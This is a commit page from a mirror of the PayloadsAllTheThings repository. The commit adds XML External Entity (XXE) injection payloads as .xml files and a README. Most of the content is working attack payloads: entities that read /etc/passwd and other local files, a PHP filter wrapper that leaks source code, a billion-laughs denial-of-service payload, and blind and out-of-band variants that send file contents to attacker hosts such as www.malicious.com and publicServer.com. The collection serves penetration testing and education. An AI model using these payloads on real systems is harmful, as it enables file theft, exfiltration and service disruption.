mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-03-01 15:03:12 -08:00
XXE renamed, little updates in SQL/Include + enum
This commit is contained in:
1
XXE injections/Classic XXE B64 Encoded.xml
Executable file
1
XXE injections/Classic XXE B64 Encoded.xml
Executable file
@@ -0,0 +1 @@
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFF...Cg=="> %init; ]><foo/>
|
||||
6
XXE injections/Classic XXE.xml
Executable file
6
XXE injections/Classic XXE.xml
Executable file
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ELEMENT data (#ANY)>
|
||||
<!ENTITY file SYSTEM "file:///sys/power/image_size">
|
||||
]>
|
||||
<data>&file;</data>
|
||||
8
XXE injections/Deny Of Service - Billion Laugh Attack
Executable file
8
XXE injections/Deny Of Service - Billion Laugh Attack
Executable file
@@ -0,0 +1,8 @@
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
|
||||
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
|
||||
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
|
||||
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
|
||||
]>
|
||||
<data>&a4;</data>
|
||||
85
XXE injections/README.md
Normal file
85
XXE injections/README.md
Normal file
@@ -0,0 +1,85 @@
|
||||
# XML External Entity
|
||||
An XML External Entity attack is a type of attack against an application that parses XML input
|
||||
|
||||
## Exploit
|
||||
|
||||
Basic Test
|
||||
```
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
|
||||
<userInfo>
|
||||
<firstName>John</firstName>
|
||||
<lastName>&example;</lastName>
|
||||
</userInfo>
|
||||
```
|
||||
|
||||
Classic XXE
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ELEMENT data (#ANY)>
|
||||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<data>&file;</data>
|
||||
```
|
||||
|
||||
Classic XXE Base64 encoded
|
||||
```
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFF...Cg=="> %init; ]><foo/>
|
||||
```
|
||||
|
||||
PHP Wrapper inside XXE
|
||||
```
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
<contacts>
|
||||
<contact>
|
||||
<name>Jean &xxe; Dupont</name>
|
||||
<phone>00 11 22 33 44</phone>
|
||||
<adress>42 rue du CTF</adress>
|
||||
<zipcode>75000</zipcode>
|
||||
<city>Paris</city>
|
||||
</contact>
|
||||
</contacts>
|
||||
```
|
||||
|
||||
|
||||
Deny Of Service - Billion Laugh Attack
|
||||
```
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
|
||||
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
|
||||
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
|
||||
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
|
||||
]>
|
||||
<data>&a4;</data>
|
||||
```
|
||||
|
||||
Blind XXE
|
||||
```
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
|
||||
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
|
||||
]
|
||||
>
|
||||
<foo>&callhome;</foo>
|
||||
```
|
||||
|
||||
|
||||
XXE OOB Attack (Yunusov, 2013)
|
||||
```
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
|
||||
<data>&send;</data>
|
||||
|
||||
File stored on http://publicServer.com/parameterEntity_oob.dtd
|
||||
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
|
||||
%all;
|
||||
```
|
||||
|
||||
|
||||
## Thanks to
|
||||
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
|
||||
9
XXE injections/XXE OOB Attack (Yunusov, 2013).xml
Executable file
9
XXE injections/XXE OOB Attack (Yunusov, 2013).xml
Executable file
@@ -0,0 +1,9 @@
|
||||
XXE OOB Attack (Yunusov, 2013)
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
|
||||
<data>&send;</data>
|
||||
|
||||
File stored on http://publicServer.com/parameterEntity_oob.dtd
|
||||
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
|
||||
%all;
|
||||
Reference in New Issue
Block a user